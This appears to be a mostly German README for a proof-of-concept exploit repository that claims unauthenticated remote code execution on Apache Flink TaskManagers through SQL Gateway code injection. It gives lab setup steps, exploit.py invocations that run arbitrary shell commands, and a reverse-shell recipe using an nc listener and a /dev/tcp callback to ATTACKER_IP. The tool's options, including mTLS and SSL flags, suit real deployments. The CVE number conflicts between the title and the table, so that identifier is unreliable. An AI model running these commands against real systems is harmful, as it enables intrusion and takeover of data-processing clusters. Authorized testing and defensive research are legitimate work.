
Proof-of-concept exploit and lab environment for CVE-2026-25194
Remote-Code-Ausführung auf Apache Flink TaskManagern durch SQL-Code-Generierungs-Injection.
| CVE | CVE-2026-35194 |
| CVSS | 8.1 (Hoch) |
| CWE | CWE-94 — Code Injection |
| Betroffen | Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 |
| Behoben | 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 |
| Angriffsfläche | SQL Gateway REST API (Standard-Port 8083, keine Authentifizierung) |
docker compose up -d
Warten Sie etwa 30 Sekunden, bis der Cluster gestartet ist. Es werden zwei Dienste gestartet:
http://localhost:8081http://localhost:8083Überprüfen:
curl -s http://localhost:8083/v1/info
# Sollte Version "1.20.3" zurückgeben
pip install requests
JSON vector:
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"
LIKE vector:
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"
Nur Versionsprüfung (kein RCE):
python3 exploit.py localhost -p 8083 --check-only
RCE auf TaskManager überprüfen:
docker exec flink-taskmanager cat /tmp/pwned
# Terminal 1 – Listener
nc -lvnp 4444
# Terminal 2 – Exploit
python3 exploit.py TARGET -p 8083 -v json \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
[--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
target
Options:
target Target host (IP or hostname)
-p, --port SQL Gateway port (default: 8083)
-c, --command Shell command to run on TaskManager
-v, --vector json (default) or like
--check-only Version check only, no exploit
-t, --timeout Request timeout in seconds (default: 30)
--cert / --key Client cert + key for mTLS environments
--ssl Force HTTPS
Nur für autorisierte Sicherheitsforschung und zu Bildungszwecken.